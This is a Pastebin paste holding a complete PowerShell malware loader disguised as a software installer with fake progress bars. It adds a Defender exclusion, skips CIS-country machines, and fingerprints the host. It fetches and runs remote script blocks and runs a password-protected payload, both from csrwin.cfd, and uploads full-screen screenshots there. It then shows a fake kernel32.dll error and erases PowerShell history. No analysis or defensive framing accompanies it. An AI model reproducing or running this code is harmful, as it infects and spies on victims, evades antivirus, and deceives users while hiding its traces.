Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ------------------------------------ LAUNCH ------------------------------------- #
- $ErrorActionPreference = 'Stop'
- $ProgressPreference = 'SilentlyContinue'
- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
- function Show-Progress {
- param(
- [int]$Percent,
- [string]$Text = ""
- )
- $esc = [char]27
- $width = 20
- $filled = [math]::Floor($width * $Percent / 100)
- $empty = $width - $filled
- $gray = "$esc[100m"
- $darkGray = "$esc[48;5;236m"
- $reset = "$esc[0m"
- [Console]::Write(
- "`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
- )
- }
- # ----------------------------------- VARIABLES ----------------------------------- #
- $site = "https://csrwin.cfd"
- $zipUrl = "$site/assets/2.zip"
- $7zaUrl = "$site/assets/7za.exe"
- $password = '1324'
- $exePath = '2/2.exe'
- $work = Join-Path $env:TEMP "svc_$(Get-Random)"
- $zip = Join-Path $work '1.zip'
- $7za = Join-Path $work '7za.exe'
- $dest = Join-Path $work 'out'
- $cisCountries = @('RU', 'BY', 'UA', 'KZ', 'KG', 'TJ', 'TM', 'UZ', 'AM', 'AZ', 'MD')
- # ----------------------------------- VARIABLES+ ---------------------------------- #
- $pcName = $env:COMPUTERNAME
- $userAgent = "aizzHkKtfNdzmaycORjfhjDPaNCLVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs"
- $startUrl = "$site/start.php"
- $screenUrl = "$site/screen.php"
- $endUrl = "$site/end.php"
- $firstStepText = '[1/3] Checking for Updates...'
- $secondStepText = '[2/3] Initialization Components...'
- $thirdStepText = '[3/3] Running Application...'
- $firstSubstepText = '[SUCCESSFULLY]'
- $secondSubstepText = '[SUCCESSFULLY]'
- $thirdSubstepText = '[ERROR]'
- if (Test-Path $work) { Remove-Item $work -Recurse -Force }
- New-Item -ItemType Directory -Path $work -Force | Out-Null
- # ---------------------------------- ADMIN RIGHTS --------------------------------- #
- $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
- $principal = New-Object Security.Principal.WindowsPrincipal($identity)
- $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
- # [STEP 1/3]:
- Clear-Host
- Write-Host "`n $firstStepText" -ForegroundColor Cyan
- if (-not $isAdmin) {}
- if ($isAdmin) {
- Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
- }
- # ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
- $country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
- filter CustomTrim { $_ -replace '[\r\n\t]', '' }
- $geoServices = @(
- @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
- @{ Uri = "https://ipapi.co"; Path = $null },
- @{ Uri = "https://ipinfo.io"; Path = $null }
- )
- foreach ($service in $geoServices) {
- try {
- $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
- if ($response) {
- if ($service.Path -and $response.$($service.Path)) {
- $country = $response.$($service.Path).Trim().ToUpper()
- } else {
- $country = ($response | CustomTrim).ToUpper()
- }
- if ($country -match '^[A-Z]{2}$') {
- break
- }
- }
- }
- catch {
- continue
- }
- }
- # ------------------------------------ CHECKER ------------------------------------ #
- if ($country -in $cisCountries) {
- exit 0
- }
- # ------------------------------------- LINKS ------------------------------------- #
- # ----------------------------------- HWID --------------------------------------- #
- $serial = (cmd /c "vol C:") -join " "
- if ($serial -match '([0-9A-Fa-f]{4}-[0-9A-Fa-f]{4})') {
- $hwid = ($matches[1] -replace '-','').ToLower()
- } else {
- $hwid = (Get-CimInstance Win32_ComputerSystemProduct).UUID
- if (-not $hwid) { $hwid = "Unknown" }
- }
- # ----------------------------------- SYSTEM INFO -------------------------------- #
- $osVersion = (Get-CimInstance Win32_OperatingSystem).Caption
- $osBuild = (Get-CimInstance Win32_OperatingSystem).BuildNumber
- # ���������
- $antivirus = @()
- try {
- $av = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntivirusProduct -ErrorAction SilentlyContinue
- if ($av) {
- $antivirus = $av | ForEach-Object {
- if ($_.productState -band 0x1000) { "$($_.displayName) (Active)" }
- else { "$($_.displayName) (Inactive)" }
- }
- }
- } catch {}
- if ($antivirus.Count -eq 0) { $antivirus = "Unknown" }
- else { $antivirus = $antivirus -join "; " }
- # PowerShell version
- $psVersion = $PSVersionTable.PSVersion.ToString()
- $startRequest = "${startUrl}?pc=${pcName}&country=$country&hwid=$hwid&os=${osVersion}&osbuild=${osBuild}&av=${antivirus}&ps=${psVersion}"
- $endRequest = "${endUrl}?pc=${pcName}&country=${country}&source=${source}&hwid=$hwid&os=${osVersion}&osbuild=${osBuild}&av=${antivirus}&ps=${psVersion}"
- $screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
- # ---< REQUEST 2 >--------------------- START ------------------------------------- #
- try {
- $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
- if (-not [string]::IsNullOrWhiteSpace($startScript)) {
- $startBlock = [scriptblock]::Create($startScript)
- & $startBlock
- }
- }
- catch {
- Write-Warning "$_"
- }
- # ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
- try {
- if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
- Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
- Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
- }
- catch {}
- # ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
- Add-Type -AssemblyName System.Windows.Forms
- Add-Type -AssemblyName System.Drawing
- try {
- $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
- $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
- $gfx = [System.Drawing.Graphics]::FromImage($bmp)
- $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
- $ms = New-Object System.IO.MemoryStream
- $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
- $gfx.Dispose()
- $bmp.Dispose()
- $base64 = [Convert]::ToBase64String($ms.ToArray())
- $ms.Dispose()
- $screenBody = @{
- pc = $pcName
- image = "data:image/png;base64,$base64"
- }
- Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
- }
- catch {}
- # [SUBSTEP 1/3]:
- for ($i = 0; $i -le 100; $i++) {
- Show-Progress $i
- Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
- }
- Show-Progress 100
- Write-Host "$firstSubstepText" -ForegroundColor Green
- Start-Sleep -Seconds 3
- # --------------------------------- OPEN & LOGGING -------------------------------- #
- # [STEP 2/3]:
- Clear-Host
- Write-Host "`n $secondStepText" -ForegroundColor Cyan
- try {
- if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
- if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
- $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
- $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
- if ($process.ExitCode -ne 0) {
- throw "[ERROR LOG] 7za: $($process.ExitCode)"
- }
- }
- catch {}
- # [RUN FILE]
- $exe = Join-Path $dest $exePath
- try {
- if (Test-Path $exe) {
- Start-Process $exe -WorkingDirectory (Split-Path $exe) -ErrorAction Stop
- } else {
- throw "[ZIP] - Error code: 2"
- }
- }
- catch {
- Write-Warning "$_"
- }
- Start-Sleep -Seconds 10
- # [SUBSTEP 2/3]:
- for ($i = 0; $i -le 100; $i++) {
- Show-Progress $i
- Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
- }
- Show-Progress 100
- Write-Host "$secondSubstepText" -ForegroundColor Green
- Start-Sleep -Seconds 3
- # ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
- # [STEP 3/3]:
- Clear-Host
- Write-Host "`n $thirdStepText" -ForegroundColor Cyan
- try {
- $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
- if (-not [string]::IsNullOrWhiteSpace($endScript)) {
- $endBlock = [scriptblock]::Create($endScript)
- & $endBlock
- }
- }
- catch {
- Write-Warning "$_"
- }
- # [SUBSTEP 3/3]:
- for ($i = 0; $i -le 100; $i++) {
- Show-Progress $i
- Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
- }
- Show-Progress 100
- Write-Host "$thirdSubstepText`n" -ForegroundColor Red
- Start-Sleep -Milliseconds 500
- Write-Host " [ERROR] Failed to load DLL: kernel32.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0xc0000135`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
- Write-Host "`n To fix this, please follow the: https://learn.microsoft.com/en-us/answers/questions/2486541/error-code-0xc0000135" -ForegroundColor Yellow
- # ENDING SCREENSHOT
- try {
- $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
- $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
- $gfx = [System.Drawing.Graphics]::FromImage($bmp)
- $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
- $ms = New-Object System.IO.MemoryStream
- $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
- $gfx.Dispose()
- $bmp.Dispose()
- $base64 = [Convert]::ToBase64String($ms.ToArray())
- $ms.Dispose()
- $screenBody = @{
- pc = $pcName
- image = "data:image/png;base64,$base64"
- }
- Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
- }
- catch {}
- Read-Host -Prompt "`n Press Enter to exit"
- [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
- Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
- Set-PSReadlineOption -HistorySaveStyle SaveNothing
- [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Add Comment
Please, Sign In to add comment